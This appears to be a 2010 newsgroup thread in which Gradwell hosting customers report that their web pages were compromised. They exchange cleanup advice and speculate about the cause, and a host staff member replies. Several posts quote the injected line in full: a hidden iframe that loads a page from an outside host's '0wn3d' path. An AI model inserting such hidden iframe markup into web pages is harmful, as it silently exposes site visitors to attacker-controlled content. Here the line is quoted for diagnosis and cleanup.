Gradwell Sites Hacked?

Overnight our .html and .php pages have been modified to load in a
frame from gaccess.dynsite.net/blog/wp-content/0wn3d

This code has been added to our files:

<iframe src="http://gaccess.dynsite.net/blog/wp-content/0wn3d/"
style="display:none"></iframe>

Anyone else seeing this?

On Tue, 14 Dec 2010, susan <susan0nz@yahoo.co.uk> wrote:

Overnight our .html and .php pages have been modified to load in a
frame from gaccess.dynsite.net/blog/wp-content/0wn3d

This code has been added to our files:

<iframe src="http://gaccess.dynsite.net/blog/wp-content/0wn3d/"
style="display:none"></iframe>

Anyone else seeing this?

A week ago, Gradwell told me:

"We found that an outside source was able to breach a number of our
customers home spaces and install these .tmp files. The exploit in the
users homespace has been secured and we will be running daily seek and
destroy scripts, as well as securing our web servers. Tests will be
ongoing to investigate how this can be fully prevented in the future."

and then, in response to a further query from me:

"There have been no other exploits and we are currently running a daily
search and destroy script to identify any other possible breaches,
although we do not believe that there are."

Looks like their search and destroy script didn't find your case :-(

Check your root directory for spurious directories which may have
appeared there (at the same level as /webs/), and delete them. The
following directories, some with sub-directories, appeared in one of my
accounts (but not the other), all date-stamped 2nd December:

bin
db
doc
etc
include
inews
lib
log
man
spool
tmp

Also, and perhaps most importantly,check your list of FTP accounts for
any spurious account which may have appeared there, and delete it.

OK, it may be stable doors and horses, but it will clean up your account
from all the nasties which appeared in mine. (I was lucky that another
Gradwell customer alerted me, and the account could be cleaned up before
the perp actioned the hack.)
--
Molly Mockford

I don't see any of those directories in my folders, or any spurious
ftp accounts. I've changed my ftp password just in case.

I just checked your site at pagination.co.uk and it has the same code
injected at the bottom of the page, so I wonder if this is more of a
Gradwell-wide problem rather that someone gaining access to my
account?

On Tue, 14 Dec 2010, susan <susan0nz@yahoo.co.uk> wrote:

I don't see any of those directories in my folders, or any spurious
ftp accounts. I've changed my ftp password just in case.

I just checked your site at pagination.co.uk and it has the same code
injected at the bottom of the page, so I wonder if this is more of a
Gradwell-wide problem rather that someone gaining access to my
account?

You're right, and in others of my sites that I've checked. So much for
Gradwell's assurances of search-and-destroy!
--
Molly Mockford

Files of which I don't even have a local copy have been altered - e.g.
every Webalizer .html file, and every .php file in large database-driven
functions. It clearly needs to be cleaned up on-line; trying to upload
clean copies is totally impracticable. However, I am no Unix expert.
Can anybody come up with something which will run in the shell, and
check every .html and .php file for the string

<iframe src="http://gaccess.dynsite.net/blog/wp-content/0wn3d/"
style="display:none"></iframe>

and delete it?
--
Molly Mockford

I have now spoken to Gradwell support, who say that their second-line
support are working on this. I emphasised the importance of letting us
know via this newsgroup, and pointed out that only they can really run a
full-scale clean-up script - we can't be expected to clean up Webalizer
files!

My partner has suggested that this is part of a WikiLeaks revenge attack
on Paypal, Mastercard or whatever, such that each time a compromised
page is accessed it adds to the DOS attacks; if this is so, the most
urgent pages to clean are those most frequently accessed, but I stress
this is only guesswork!
--
Molly Mockford

On Wed, 15 Dec 2010, Molly Mockford <nospam@pagination.co.uk> wrote
But the iframe exploit is very reminiscent of the last time, when (as
far as i remember, and I am happy to be corrected if wrong) Gradwell
shared a list of customer logins with a trusted third party who proved
untrustworthy.

It looks as though I may well have misremembered; looking back through
the old gradwell.support, I came across this link:

<http://blog.gradwell.net/2008/06/09/customer-ftp-and-website-security/>

(That time, though, it was only the top-level index file of each site
which was altered by the addition of the iframe exploit; now it's
throughout each site.)
--
Molly Mockford

In message <ZiiyF0enzGCNFweb@molly.mockford>, Molly Mockford
<nospam@pagination.co.uk> wrote
[]
Check your root directory for spurious directories which may have
appeared there (at the same level as /webs/), and delete them.

Is this a different type of account from mine? I have two sites, and
both offer me HTDOCS and LOGS when I log in; I can't go rootwards, and
these directories contain only what I put there.
--
Andy Taylor [Editor, Austrian Philatelic Society].
Visit <URL:http://www.austrianphilately.com>

Hi

On Dec 15, 7:230am, Molly Mockford <nos...@pagination.co.uk> wrote:
On Tue, 14 Dec 2010, susan <susan...@yahoo.co.uk> wrote:
>Overnight our .html and .php pages have been modified to load in a
>frame from gaccess.dynsite.net/blog/wp-content/0wn3d

>This code has been added to our files:

><iframe srcD"http://gaccess.dynsite.net/blog/wp-content/0wn3d/"
>styleD"display:none"></iframe>

>Anyone else seeing this?

Yes, a number of customer's sites are suffering from these problems.

A week ago, Gradwell told me:

"We found that an outside source was able to breach a number of our
customers home spaces and install these .tmp files. The exploit in the
users homespace has been secured and we will be running daily seek and
destroy scripts, as well as securing our web servers. Tests will be
ongoing to investigate how this can be fully prevented in the future."

That's right. We have taken some advice and made a number of changes,
but
there must be some sort of exploit in apache itself so we are also
looking at
that, and it's permissions model.

cheers
peter